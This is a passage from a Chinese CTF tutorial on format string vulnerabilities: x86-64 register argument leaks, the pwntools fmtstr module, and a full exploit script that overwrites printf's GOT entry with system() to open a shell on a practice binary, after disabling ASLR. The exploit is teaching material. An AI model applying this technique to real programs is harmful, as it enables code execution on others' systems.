  83. 0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
  84. 0xffffd560: 0x00000000 0xffffd538 0xffffd539 0xffffd53a
  85. 0xffffd570: 0xffffd53b 0x34303125 0x33312563 0x6e686824

最后还得强调两点:

  • 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同
  • 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址

x86-64 中的格式化字符串漏洞

在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 RDIRSIRDXRCXR8R9 传递;而在 Windows 中,前四个参数通过 RCXRDXR8R9 来传递。

还是上面的程序,但是这次我们把它编译成 64 位:

  1. $ gcc -fno-stack-protector -no-pie fmt.c

使用 AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p. 作为输入:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. RAX: 0x0
  4. RBX: 0x0
  5. RCX: 0xffffffff
  6. RDX: 0x88888888
  7. RSI: 0x1
  8. RDI: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
  9. RBP: 0x7fffffffe460 --> 0x400660 (<__libc_csu_init>: push r15)
  10. RSP: 0x7fffffffe3c0 --> 0x4241000000000000 ('')
  11. RIP: 0x400648 (<main+113>: call 0x4004e0 <printf@plt>)
  12. R8 : 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
  13. R9 : 0xa ('\n')
  14. R10: 0x7ffff7dd4380 --> 0x7ffff7dd0640 --> 0x7ffff7b9ed3a --> 0x636d656d5f5f0043 ('C')
  15. R11: 0x246
  16. R12: 0x400500 (<_start>: xor ebp,ebp)
  17. R13: 0x7fffffffe540 --> 0x1
  18. R14: 0x0
  19. R15: 0x0
  20. EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
  21. [-------------------------------------code-------------------------------------]
  22. 0x40063d <main+102>: mov r8,rdi
  23. 0x400640 <main+105>: mov rdi,rax
  24. 0x400643 <main+108>: mov eax,0x0
  25. => 0x400648 <main+113>: call 0x4004e0 <printf@plt>
  26. 0x40064d <main+118>: mov edi,0xa
  27. 0x400652 <main+123>: call 0x4004d0 <putchar@plt>
  28. 0x400657 <main+128>: nop
  29. 0x400658 <main+129>: leave
  30. Guessed arguments:
  31. arg[0]: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
  32. arg[1]: 0x1
  33. arg[2]: 0x88888888
  34. arg[3]: 0xffffffff
  35. arg[4]: 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
  36. [------------------------------------stack-------------------------------------]
  37. 0000| 0x7fffffffe3c0 --> 0x4241000000000000 ('')
  38. 0008| 0x7fffffffe3c8 --> 0x4443 ('CD')
  39. 0016| 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
  40. 0024| 0x7fffffffe3d8 ("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
  41. 0032| 0x7fffffffe3e0 (".%p.%p.%p.%p.%p.%p.%p.")
  42. 0040| 0x7fffffffe3e8 ("p.%p.%p.%p.%p.")
  43. 0048| 0x7fffffffe3f0 --> 0x2e70252e7025 ('%p.%p.')
  44. 0056| 0x7fffffffe3f8 --> 0x1
  45. [------------------------------------------------------------------------------]
  46. Legend: code, data, rodata, value
  47. 0x0000000000400648 in main ()
  48. gdb-peda$ x/10g $rsp
  49. 0x7fffffffe3c0: 0x4241000000000000 0x0000000000004443
  50. 0x7fffffffe3d0: 0x4141414141414141 0x70252e70252e7025
  51. 0x7fffffffe3e0: 0x252e70252e70252e 0x2e70252e70252e70
  52. 0x7fffffffe3f0: 0x00002e70252e7025 0x0000000000000001
  53. 0x7fffffffe400: 0x0000000000f0b5ff 0x00000000000000c2
  54. gdb-peda$ c
  55. Continuing.
  56. AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.

可以看到我们最后的输出中,前五个数字分别来自寄存器 RSIRDXRCXR8R9,后面的数字才取自栈,0x4141414141414141%8$p 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 RDI 被用于传递格式字符串,可以从 gdb 中看到,arg[0] 就是由 RDI 传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 arg2 的值了,因为它被存入了寄存器中。

CTF 中的格式化字符串漏洞

pwntools pwnlib.fmtstr 模块

文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html

该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 FmtStr 和一个函数 fmtstr_payload

FmtStr 提供了自动化的字符串漏洞利用:

  1. class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
  • execute_fmt (function):与漏洞进程进行交互的函数
  • offset (int):你控制的第一个格式化程序的偏移量
  • padlen (int):在 paylod 之前添加的 pad 的大小
  • numbwritten (int):已经写入的字节数

fmtstr_payload 用于自动生成格式化字符串 paylod:

  1. pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
  • offset (int):你控制的第一个格式化程序的偏移量
  • writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got})
  • numbwritten (int):已经由 printf 函数写入的字节数
  • write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n)

我们通过一个例子来熟悉下该模块的使用(任意地址内存读写):fmt.c fmt

  1. #include<stdio.h>
  2. void main() {
  3. char str[1024];
  4. while(1) {
  5. memset(str, '\0', 1024);
  6. read(0, str, 1024);
  7. printf(str);
  8. fflush(stdout);
  9. }
  10. }

为了简单一点,我们关闭 ASLR,并使用下面的命令编译,关闭 PIE,使得程序的 .text .bss 等段的内存地址固定:

  1. # echo 0 > /proc/sys/kernel/randomize_va_space
  2. $ gcc -m32 -fno-stack-protector -no-pie fmt.c

很明显,程序存在格式化字符串漏洞,我们的思路是将 printf() 函数的地址改成 system() 函数的地址,这样当我们再次输入 /bin/sh 时,就可以获得 shell 了。

第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp,但这里,我们还是先演示手工方法怎么做,最后再用 pwntools 的方法。在 gdb 中,先在 main 处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 “AAAA” 试一下:

  1. gdb-peda$ b main
  2. ...
  3. gdb-peda$ r
  4. ...
  5. gdb-peda$ n
  6. [----------------------------------registers-----------------------------------]
  7. EAX: 0xffffd1f0 ("AAAA\n")
  8. EBX: 0x804a000 --> 0x8049f10 --> 0x1
  9. ECX: 0xffffd1f0 ("AAAA\n")
  10. EDX: 0x400
  11. ESI: 0xf7f97000 --> 0x1bbd90
  12. EDI: 0x0
  13. EBP: 0xffffd5f8 --> 0x0
  14. ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
  15. EIP: 0x8048512 (<main+92>: call 0x8048370 <printf@plt>)
  16. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  17. [-------------------------------------code-------------------------------------]
  18. 0x8048508 <main+82>: sub esp,0xc
  19. 0x804850b <main+85>: lea eax,[ebp-0x408]
  20. 0x8048511 <main+91>: push eax
  21. => 0x8048512 <main+92>: call 0x8048370 <printf@plt>
  22. 0x8048517 <main+97>: add esp,0x10
  23. 0x804851a <main+100>: mov eax,DWORD PTR [ebx-0x4]
  24. 0x8048520 <main+106>: mov eax,DWORD PTR [eax]
  25. 0x8048522 <main+108>: sub esp,0xc
  26. Guessed arguments:
  27. arg[0]: 0xffffd1f0 ("AAAA\n")
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
  30. 0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n")
  31. 0008| 0xffffd1e8 --> 0x400
  32. 0012| 0xffffd1ec --> 0x80484d0 (<main+26>: add ebx,0x1b30)
  33. 0016| 0xffffd1f0 ("AAAA\n")
  34. 0020| 0xffffd1f4 --> 0xa ('\n')
  35. 0024| 0xffffd1f8 --> 0x0
  36. 0028| 0xffffd1fc --> 0x0
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. 0x08048512 in main ()

我们看到输入 printf() 的变量 arg[0]: 0xffffd1f0 ("AAAA\n") 在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。

读取重定位表获得 printf() 的 GOT 地址(第一列 Offset):

  1. $ readelf -r a.out
  2. Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries:
  3. Offset Info Type Sym.Value Sym. Name
  4. 08049ff8 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
  5. 08049ffc 00000706 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
  6. Relocation section '.rel.plt' at offset 0x304 contains 5 entries:
  7. Offset Info Type Sym.Value Sym. Name
  8. 0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
  9. 0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
  10. 0804a014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
  11. 0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
  12. 0804a01c 00000607 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0

在 gdb 中获得 printf() 的虚拟地址:

  1. gdb-peda$ p printf
  2. $1 = {<text variable, no debug info>} 0xf7e26bf0 <printf>

获得 system() 的虚拟地址:

  1. gdb-peda$ p system
  2. $1 = {<text variable, no debug info>} 0xf7e17060 <system>

好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的完整漏洞利用代码:

  1. # -*- coding: utf-8 -*-
  2. from pwn import *
  3. elf = ELF('./a.out')
  4. r = process('./a.out')
  5. libc = ELF('/usr/lib32/libc.so.6')
  6. # 计算偏移量
  7. def exec_fmt(payload):
  8. r.sendline(payload)
  9. info = r.recv()
  10. return info
  11. auto = FmtStr(exec_fmt)
  12. offset = auto.offset
  13. # 获得 printf 的 GOT 地址
  14. printf_got = elf.got['printf']
  15. log.success("printf_got => {}".format(hex(printf_got)))
  16. # 获得 printf 的虚拟地址
  17. payload = p32(printf_got) + '%{}$s'.format(offset)
  18. r.send(payload)
  19. printf_addr = u32(r.recv()[4:8])
  20. log.success("printf_addr => {}".format(hex(printf_addr)))
  21. # 获得 system 的虚拟地址
  22. system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
  23. log.success("system_addr => {}".format(hex(system_addr)))
  24. payload = fmtstr_payload(offset, {printf_got : system_addr})
  25. r.send(payload)
  26. r.send('/bin/sh')
  27. r.recv()
  28. r.interactive()
  1. $ python2 exp.py
  2. [*] '/home/firmy/Desktop/RE4B/a.out'
  3. Arch: i386-32-little
  4. RELRO: Partial RELRO
  5. Stack: No canary found
  6. NX: NX enabled
  7. PIE: No PIE (0x8048000)
  8. [+] Starting local process './a.out': pid 17375
  9. [*] '/usr/lib32/libc.so.6'
  10. Arch: i386-32-little
  11. RELRO: Partial RELRO
  12. Stack: Canary found
  13. NX: NX enabled
  14. PIE: PIE enabled
  15. [*] Found format string offset: 4
  16. [+] printf_got => 0x804a010
  17. [+] printf_addr => 0xf7e26bf0
  18. [+] system_addr => 0xf7e17060
  19. [*] Switching to interactive mode
  20. $ echo "hacked!"
  21. hacked!

这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。

扩展阅读

练习